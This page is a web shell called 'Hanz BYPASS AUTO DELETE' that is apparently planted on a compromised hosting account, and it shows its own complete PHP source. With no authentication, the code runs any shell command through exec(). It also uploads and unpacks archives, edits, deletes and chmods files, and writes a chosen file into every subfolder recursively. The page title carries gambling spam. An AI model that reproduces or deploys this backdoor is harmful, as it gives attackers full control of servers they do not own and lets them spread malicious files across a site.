./Hanz BYPASS AUTO DELETE

Path: / homepages / 44 / d338820553 / htdocs / clickandbuilds / FACES / amp

📁 Current Folder: amp Permission: 0755 (klik permission untuk ganti chmod folder ini)
📦 Mass Upload 💻 Terminal 📄 + Add File 🔥 + Mass Add File (Recursive)


Viewing: hans.php

<?php
error_reporting(0);
session_start();

$title = "./Hanz BYPASS AUTO DELETE";
$startDir = realpath(__DIR__);
$path = $_GET['path'] ?? $startDir;
$cwd = realpath($path) ?: $startDir;
chdir($cwd);
$_SESSION['term_cwd'] = $cwd;

function h($s){return htmlspecialchars($s);}
function notice($m,$t='ok'){$_SESSION['notice']=[$m,$t];}
function show_notice(){
 if(isset($_SESSION['notice'])){
  [$m,$t]=$_SESSION['notice'];
  echo "<div class='notice $t'>$m</div>";
  unset($_SESSION['notice']);
 }}
function rrmdir($d){
 foreach(scandir($d) as $f){
  if($f=='.'||$f=='..')continue;
  $p="$d/$f";
  is_dir($p)?rrmdir($p):@unlink($p);
 }
 @rmdir($d);
}
function permColor($p){
 $o = octdec(substr(sprintf('%o',$p),-3));
 if($o >= 0777) return 'red';
 if($o >= 0755) return 'green';
 return 'blue';
}

function extractZipFlat($zip,$dest){
 $z=new ZipArchive;
 if($z->open($zip)!==true) return false;
 for($i=0;$i<$z->numFiles;$i++){
  $n=$z->getNameIndex($i);
  if(substr($n,-1)=='/')continue;
  copy("zip://$zip#$n","$dest/".basename($n));
 }
 $z->close(); return true;
}

// AJAX Terminal Handler
if(isset($_GET['ajax_term'])){
 header('Content-Type: text/plain');
 $cmd = trim($_GET['cmd']);
 $c = $_SESSION['term_cwd'];
 $a = preg_split('/\s+/', $cmd);
 $output = '';

 switch($a[0]){
  case 'pwd': 
   $output = $c; 
   break;
  case 'ls':  
   $files = @scandir($c);
   if($files){
    $output = implode("\n", $files);
   } else {
    $output = "Error: Cannot read directory";
   }
   break;
  case 'cd':
   if(!isset($a[1])){ $output = "Usage: cd folder"; break; }
   $n = realpath($c.'/'.$a[1]);
   if($n && is_dir($n)){ 
    $_SESSION['term_cwd'] = $n; 
    $output = $n;
   } else { 
    $output = "No such directory: " . $a[1];
   }
   break;
  case 'cat':
   if(!isset($a[1])){ $output = "Usage: cat file"; break; }
   $f = $c.'/'.$a[1];
   if(is_file($f)){
    $output = file_get_contents($f);
   } else {
    $output = "No such file: " . $a[1];
   }
   break;
  case 'clear': 
   $output = "__CLEAR__";
   break;
  default: 
   $cmd2 = $cmd . " 2>&1";
   exec($cmd2, $exec_output);
   if(!empty($exec_output)){
    $output = implode("\n", $exec_output);
   } else {
    $output = "Unknown command: " . $a[0];
   }
   break;
 }
 echo $output;
 exit;
}

// Single Upload
if(isset($_FILES['up'])){
 $n=$_FILES['up']['name'];
 $t="$cwd/$n";
 if(move_uploaded_file($_FILES['up']['tmp_name'],$t)){
  if(preg_match('/\.zip$/i',$n)) extractZipFlat($t,$cwd);
  notice("Upload success");
 } else notice("Upload failed","err");
 header("Location:?path=".urlencode($cwd));exit;
}

// MASS UPLOAD (Multiple Files)
if(isset($_FILES['mass_up'])){
 $uploaded = 0;
 $failed = 0;
 $files = $_FILES['mass_up'];
 
 for($i = 0; $i < count($files['name']); $i++){
  if($files['error'][$i] == UPLOAD_ERR_OK && !empty($files['name'][$i])){
   $filename = basename($files['name'][$i]);
   $target = "$cwd/$filename";
   if(move_uploaded_file($files['tmp_name'][$i], $target)){
    if(preg_match('/\.zip$/i', $filename)){
     extractZipFlat($target, $cwd);
    }
    $uploaded++;
   } else {
    $failed++;
   }
  } elseif($files['error'][$i] != UPLOAD_ERR_NO_FILE){
   $failed++;
  }
 }
 
 if($uploaded > 0){
  notice("Mass upload: $uploaded success, $failed failed");
 } else {
  notice("No files uploaded or all failed","err");
 }
 header("Location:?path=".urlencode($cwd));exit;
}

if(isset($_POST['mkdir'])){
 @mkdir("$cwd/".$_POST['dirname'],0755)
 ?notice("Folder created"):notice("Create failed","err");
 header("Location:?path=".urlencode($cwd));exit;
}

// SINGLE ADD FILE
if(isset($_POST['addfile'])){
 $fn = trim($_POST['filename']);
 if(!empty($fn)){
  $fp = "$cwd/$fn";
  if(!file_exists($fp)){
   @file_put_contents($fp, $_POST['filecontent'] ?? '');
   notice("File created: $fn");
  } else {
   notice("File already exists!","err");
  }
 } else {
  notice("Filename cannot be empty","err");
 }
 header("Location:?path=".urlencode($cwd));exit;
}

// MASS ADD FILE (RECURSIVE) - FITUR BARU
if(isset($_POST['mass_add_file'])){
 $startPath = realpath($_POST['mass_start_path']);
 $filename = trim($_POST['mass_filename']);
 $content = $_POST['mass_filecontent'];
 $created = 0;
 $errors = 0;
 
 if(!$startPath || !is_dir($startPath)){
  notice("Invalid start path!","err");
  header("Location:?path=".urlencode($cwd));
  exit;
 }
 
 if(empty($filename)){
  notice("Filename cannot be empty","err");
  header("Location:?path=".urlencode($cwd));
  exit;
 }
 
 // Recursive function to write file to all folders
 $iterator = new RecursiveIteratorIterator(
  new RecursiveDirectoryIterator($startPath, RecursiveDirectoryIterator::SKIP_DOTS),
  RecursiveIteratorIterator::SELF_FIRST
 );
 
 foreach($iterator as $item){
  if($item->isDir()){
   $targetFile = $item->getPathname() . '/' . $filename;
   if(@file_put_contents($targetFile, $content)){
    $created++;
   } else {
    $errors++;
   }
  }
 }
 
 // Also write to the start path itself
 $startFile = $startPath . '/' . $filename;
 if(@file_put_contents($startFile, $content)){
  $created++;
 } else {
  $errors++;
 }
 
 notice("Mass Add File: $created created, $errors failed");
 header("Location:?path=".urlencode($cwd));
 exit;
}

if(isset($_POST['rename'])){
 @rename("$cwd/".$_POST['old'],"$cwd/".$_POST['new'])
 ?notice("Rename success"):notice("Rename failed","err");
 header("Location:?path=".urlencode($cwd));exit;
}

if(isset($_POST['chmod'])){
 $target = "$cwd/".$_POST['target'];
 if(@chmod($target, octdec($_POST['perm']))){
  notice("Chmod success for: " . $_POST['target']);
 } else {
  notice("Chmod failed for: " . $_POST['target'], "err");
 }
 header("Location:?path=".urlencode($cwd));exit;
}

if(isset($_GET['del'])){
 $target = $cwd . '/' . basename($_GET['del']);
 if(file_exists($target)){
  is_dir($target)?rrmdir($target):@unlink($target);
  notice("Deleted: " . $_GET['del']);
 } else notice("Delete failed","err");
 header("Location:?path=".urlencode($cwd));exit;
}

if(isset($_POST['save'])){
 file_put_contents("$cwd/".$_POST['file'],$_POST['content'])
 ?notice("File saved"):notice("Save failed","err");
 header("Location:?path=".urlencode($cwd));exit;
}

if(isset($_POST['bulk'])){
 foreach($_POST['sel']??[] as $f){
  $p="$cwd/$f";
  if($_POST['bulk']=='del') is_dir($p)?rrmdir($p):@unlink($p);
  if($_POST['bulk']=='chmod') @chmod($p,octdec($_POST['bperm']));
  if($_POST['bulk']=='move'){
   $dest = realpath($_POST['bdest']);
   if($dest && is_dir($dest)){
    rename($p, $dest.'/'.$f);
   }
  }
 }
 notice("Bulk action done");
 header("Location:?path=".urlencode($cwd));exit;
}

$editFile = null;
$editContent = null;
$viewFile = null;
$viewContent = null;

if(isset($_GET['edit'])){
 $f = basename($_GET['edit']);
 $p = "$cwd/$f";
 if(is_file($p)){
  $editFile = $f;
  $editContent = file_get_contents($p);
 }
}

if(isset($_GET['view'])){
 $f = basename($_GET['view']);
 $p = "$cwd/$f";
 if(is_file($p)){
  $viewFile = $f;
  $viewContent = file_get_contents($p);
 }
}

// Ambil daftar file dan folder
$dirs=$files=[];
foreach(scandir($cwd) as $f){
 if($f=='.'||$f=='..')continue;
 is_dir("$cwd/$f")?$dirs[]=$f:$files[]=$f;
}
sort($dirs); sort($files);

// Parent directory di awal
$items = [];
$parentPath = dirname($cwd);
if($parentPath !== $cwd){
 $items['..'] = ['type'=>'parent', 'path'=>$parentPath];
}
foreach($dirs as $d){
 $items[$d] = ['type'=>'dir', 'path'=>"$cwd/$d"];
}
foreach($files as $f){
 $items[$f] = ['type'=>'file', 'path'=>"$cwd/$f"];
}

$crumbs=[];$p='';
foreach(explode('/',trim($cwd,'/')) as $c){
 $p.="/$c";
 $crumbs[]="<a href='?path=".urlencode($p)."'>$c</a>";
}

// Permission current folder
$currentPerm = substr(sprintf('%o',fileperms($cwd)),-4);
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>riches777pg slot Game Online x riches777pg riches777pg <?=$title?></title>
<style>
body{background:#0a0a0a;color:#ddd;font-family:Consolas;margin:0;font-size:11px}
header{background:#050505;padding:10px;border-bottom:2px solid #0f0}
.container{padding:10px}
a{color:#6f6;text-decoration:none}
.notice.ok{background:#063;padding:6px;margin-bottom:8px}
.notice.err{background:#600;padding:6px;margin-bottom:8px}
input,textarea,button{background:#000;color:#0f0;border:1px solid #333;padding:4px;font-size:11px}
table{width:100%;border-collapse:collapse}
th,td{padding:4px;border-bottom:1px solid #222}
tr:hover{background:#111}
.red{color:#f55}.green{color:#5f5}.blue{color:#5af}
.actions{display:flex;gap:6px;flex-wrap:wrap}
.actions a{border:1px solid #333;padding:2px 6px}
.actions a:hover{background:#0f0;color:#000}
.permission{cursor:pointer;text-decoration:underline;text-decoration-style:dotted}
.permission:hover{opacity:0.7}
.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:999}
.modal-content{background:#111;border:1px solid #0f0;margin:15% auto;padding:20px;width:350px;border-radius:5px}
.modal-content input{width:100%;margin:10px 0}
.modal-content button{margin-top:10px}
.close{float:right;cursor:pointer;color:#f55}
.current-folder{background:#0a2a0a;padding:8px;margin-bottom:10px;border-left:3px solid #0f0}
.term-output{background:#050505;padding:8px;border-left:2px solid #0f0;margin-top:10px;max-height:300px;overflow:auto}
.term-output pre{margin:0;color:#0f0;white-space:pre-wrap;word-break:break-all}
.upload-area{margin:10px 0;padding:10px;border:1px dashed #0f0;background:#0a1a0a}
.file-list{margin-top:10px;max-height:150px;overflow:auto;background:#050505;padding:5px}
.file-list span{display:inline-block;background:#0a2a0a;margin:3px;padding:2px 8px;border-radius:3px;font-size:10px}
.massadd-header{color:#f90}
</style>
</head>
<body>
<header>
<h1><a href="?path=<?=urlencode($startDir)?>"><?=$title?></a></h1>
</header>

<div class="container">
<?php show_notice(); ?>

<div>Path: / <?=implode(' / ',$crumbs)?></div><br>

<div class="current-folder">
 <strong>📁 Current Folder: <?=basename($cwd)?></strong>
 Permission: <span class="permission" onclick="chmodItem('.', '<?=$currentPerm?>')" style="cursor:pointer;color:#0f0"><?=$currentPerm?></span>
 <small>(klik permission untuk ganti chmod folder ini)</small>
</div>

<!-- Single Upload -->
<form method="post" enctype="multipart/form-data" style="display:inline-block">
<input type="file" name="up">
<button>Upload / ZIP Flat</button>
</form>

<!-- MASS UPLOAD BUTTON -->
<a href="javascript:toggleMassUpload()" style="margin-left:10px">📦 Mass Upload</a>
<a href="javascript:toggleTerm()" style="margin-left:10px">💻 Terminal</a>
<a href="javascript:toggleAddFile()" style="margin-left:10px">📄 + Add File</a>
<a href="javascript:toggleMassAddFile()" style="margin-left:10px;color:#f90">🔥 + Mass Add File (Recursive)</a>

<!-- MASS UPLOAD BOX -->
<div id="massuploadbox" style="display:none;border:1px solid #0f0;padding:10px;margin-top:10px;background:#0a1a0a">
 <h3>📦 Mass Upload (Multiple Files)</h3>
 <form method="post" enctype="multipart/form-data" id="massUploadForm">
  <input type="file" name="mass_up[]" id="massFiles" multiple style="background:#000;color:#0f0;width:100%" onchange="updateFileList()">
  <div id="selectedFileList" class="file-list"></div>
  <div style="margin-top:10px">
   <button name="mass_upload" type="submit">🚀 Upload All</button>
   <button type="button" onclick="toggleMassUpload()">Cancel</button>
  </div>
 </form>
</div>

<div id="termbox" style="display:none;border:1px solid #333;padding:10px;margin-top:10px;background:#0a0a0a">
 <div style="margin-bottom:10px">
  <input type="text" id="term_cmd" style="width:80%" placeholder="ls | pwd | cd folder | cat file | whoami" autocomplete="off">
  <button onclick="runTerm()">Run</button>
  <button onclick="clearTerm()">Clear</button>
 </div>
 <div id="term_result" class="term-output" style="display:none">
  <pre id="term_text"></pre>
 </div>
 <div id="term_loading" style="display:none;color:#0f0">Loading...</div>
</div>

<!-- SINGLE ADD FILE BOX -->
<div id="addfilebox" style="display:none;border:1px solid #333;padding:10px;margin-top:10px;background:#0a0a0a">
<h3>Create New File</h3>
<form method="post">
<input name="filename" placeholder="filename.php" style="width:100%">
<textarea name="filecontent" placeholder="File content (optional)" style="width:100%;height:100px;margin-top:10px"></textarea><br>
<button name="addfile">Create File</button>
<a href="javascript:toggleAddFile()">Cancel</a>
</form>
</div>

<!-- MASS ADD FILE BOX (RECURSIVE) - FITUR BARU -->
<div id="massaddfilebox" style="display:none;border:1px solid #f60;padding:10px;margin-top:10px;background:#1a0a0a">
<h3 style="color:#f90">🔥 Mass Add File (Recursive)</h3>
<form method="post">
 <label>Start Path:</label><br>
 <input type="text" name="mass_start_path" value="<?=h($cwd)?>" style="width:100%" placeholder="/home/user/public_html"><br><br>
 <label>Filename:</label><br>
 <input type="text" name="mass_filename" placeholder="example.txt" style="width:100%"><br><br>
 <label>File Content:</label><br>
 <textarea name="mass_filecontent" rows="5" style="width:100%" placeholder="Isi file yang akan disalin ke semua folder"></textarea><br><br>
 <button name="mass_add_file" style="background:#630;color:#ff0">🚀 Create File in ALL Subfolders</button>
 <button type="button" onclick="toggleMassAddFile()">Cancel</button>
</form>
<small style="color:#f99">⚠️ Peringatan: File akan dibuat di start path DAN semua subfolder di bawahnya (rekursif). Hati-hati penggunaan.</small>
</div>

<br><br>

<form method="post" style="display:inline-block">
<input name="dirname" placeholder="new_folder">
<button name="mkdir">Create Dir</button>
</form><br>

<?php if($editFile): ?>
<div style="border:1px solid #333;padding:10px;margin-top:10px">
<h3>Editing: <?=h($editFile)?></h3>
<form method="post">
<input type="hidden" name="file" value="<?=h($editFile)?>">
<textarea name="content" style="width:100%;height:300px"><?=h($editContent)?></textarea><br>
<button name="save">Save</button>
<a href="?path=<?=urlencode($cwd)?>">Cancel</a>
</form>
</div>
<?php endif; ?>

<?php if($viewFile): ?>
<div style="border:1px solid #333;padding:10px;margin-top:10px">
<h3>Viewing: <?=h($viewFile)?></h3>
<pre style="max-height:400px;overflow:auto"><?=h($viewContent)?></pre>
<a href="?path=<?=urlencode($cwd)?>">Close</a>
</div>
<?php endif; ?>

<form method="post">
<table>
<thead>
<tr>
<th><input type="checkbox" onclick="checkAll(this)"></th>
<th>Name</th>
<th>Perm</th>
<th>Action</th>
</tr>
</thead>
<tbody>

<?php foreach($items as $name => $info): 
 $fullPath = $info['path'];
 $perms = fileperms($fullPath);
 $permStr = substr(sprintf('%o',$perms),-3);
 $isParent = ($name == '..');
?>
<tr>
<td><input type="checkbox" name="sel[]" value="<?=$name?>" <?=$isParent ? 'disabled' : ''?>></td>
<td>
<?php if($isParent): ?>
📁 <a href="?path=<?=urlencode($info['path'])?>" style="color:#ff0"><strong>.. (Parent Directory)</strong></a>
<?php elseif($info['type'] == 'dir'): ?>
📁 <a href="?path=<?=urlencode($fullPath)?>"><?=h($name)?></a>
<?php else: ?>
📄 <?=h($name)?>
<?php endif; ?>
</td>
<td class="<?=permColor($perms)?>">
<span class="permission" onclick="chmodItem('<?=h($name)?>', '<?=$permStr?>')"><?=$permStr?></span>
</td>
<td class="actions">
<?php if(!$isParent): ?>
<a href="javascript:renameItem('<?=h($name)?>')">Rename</a>
<a href="?path=<?=urlencode($cwd)?>&del=<?=urlencode($name)?>" onclick="return confirm('Delete <?=h($name)?>?')">Del</a>
<?php if($info['type'] == 'file'): ?>
<a href="?path=<?=urlencode($cwd)?>&edit=<?=urlencode($name)?>">Edit</a>
<a href="?path=<?=urlencode($cwd)?>&view=<?=urlencode($name)?>">View</a>
<?php endif; ?>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>

<br>
<select name="bulk">
<option value="del">Bulk Delete</option>
<option value="chmod">Bulk Chmod</option>
<option value="move">Bulk Move</option>
</select>
<input name="bperm" placeholder="0755">
<input name="bdest" placeholder="dest path (contoh: ../target)">
<button>Execute</button>
</form>
</div>

<!-- Modal Chmod -->
<div id="chmodModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeModal()">&times;</span>
<h3>Change Permission</h3>
<form method="post">
<input type="hidden" name="target" id="chmod_target">
<label>Permission (octal):</label>
<input type="text" name="perm" id="chmod_perm" placeholder="0755">
<small>Contoh: 0644 (file), 0755 (folder), 0777 (full)</small><br>
<button name="chmod">Apply Chmod</button>
<button type="button" onclick="closeModal()">Cancel</button>
</form>
</div>
</div>

<script>
function checkAll(c){
 document.querySelectorAll("input[name='sel[]']").forEach(e=>e.checked=c.checked);
}

function toggleTerm(){
 var b=document.getElementById('termbox');
 if(b.style.display=='block'){
  b.style.display='none';
 } else {
  b.style.display='block';
  document.getElementById('term_cmd').focus();
 }
}

function toggleMassUpload(){
 var b=document.getElementById('massuploadbox');
 if(b.style.display=='block'){
  b.style.display='none';
 } else {
  b.style.display='block';
 }
}

function toggleAddFile(){
 var b=document.getElementById('addfilebox');
 b.style.display=b.style.display=='block'?'none':'block';
}

function toggleMassAddFile(){
 var b=document.getElementById('massaddfilebox');
 if(b.style.display=='block'){
  b.style.display='none';
 } else {
  b.style.display='block';
 }
}

function updateFileList(){
 var files = document.getElementById('massFiles').files;
 var listDiv = document.getElementById('selectedFileList');
 listDiv.innerHTML = '';
 if(files.length > 0){
  listDiv.innerHTML = '<strong>Selected files:</strong><br>';
  for(var i = 0; i < files.length; i++){
   var size = (files[i].size / 1024).toFixed(2);
   listDiv.innerHTML += '<span>' + files[i].name + ' (' + size + ' KB)</span> ';
  }
  listDiv.innerHTML += '<br><small>Total: ' + files.length + ' file(s)</small>';
 } else {
  listDiv.innerHTML = '<small>No files selected</small>';
 }
}

function renameItem(oldName){
 let n = prompt("Rename:", oldName);
 if(!n || n===oldName) return;
 let f=document.createElement("form");
 f.method="post";
 f.innerHTML='<input name="old" value="'+oldName+'"><input name="new" value="'+n+'"><input name="rename" value="1">';
 document.body.appendChild(f);
 f.submit();
}

function chmodItem(target, currentPerm){
 document.getElementById('chmod_target').value = target;
 document.getElementById('chmod_perm').value = currentPerm;
 document.getElementById('chmodModal').style.display = 'block';
}

function closeModal(){
 document.getElementById('chmodModal').style.display = 'none';
}

function runTerm(){
 var cmd = document.getElementById('term_cmd').value;
 if(cmd.trim() == '') return;
 
 var resultDiv = document.getElementById('term_result');
 var textPre = document.getElementById('term_text');
 var loading = document.getElementById('term_loading');
 
 loading.style.display = 'block';
 resultDiv.style.display = 'none';
 
 fetch('?ajax_term=1&cmd=' + encodeURIComponent(cmd))
  .then(response => response.text())
  .then(data => {
   loading.style.display = 'none';
   if(data == '__CLEAR__'){
    textPre.innerHTML = '';
    resultDiv.style.display = 'none';
   } else {
    textPre.innerHTML = data;
    resultDiv.style.display = 'block';
   }
  })
  .catch(error => {
   loading.style.display = 'none';
   textPre.innerHTML = 'Error: ' + error;
   resultDiv.style.display = 'block';
  });
}

function clearTerm(){
 document.getElementById('term_cmd').value = '';
 document.getElementById('term_result').style.display = 'none';
 document.getElementById('term_text').innerHTML = '';
}

document.getElementById('term_cmd').addEventListener('keypress', function(e){
 if(e.key === 'Enter'){
  runTerm();
 }
});

window.onclick = function(event) {
 var modal = document.getElementById('chmodModal');
 if (event.target == modal) {
  modal.style.display = 'none';
 }
}
</script>
</body>
</html>
Close
Name Perm Action
📁 .. (Parent Directory) 755
📄 hans.php 644 Rename Del Edit View
📄 index.php 644 Rename Del Edit View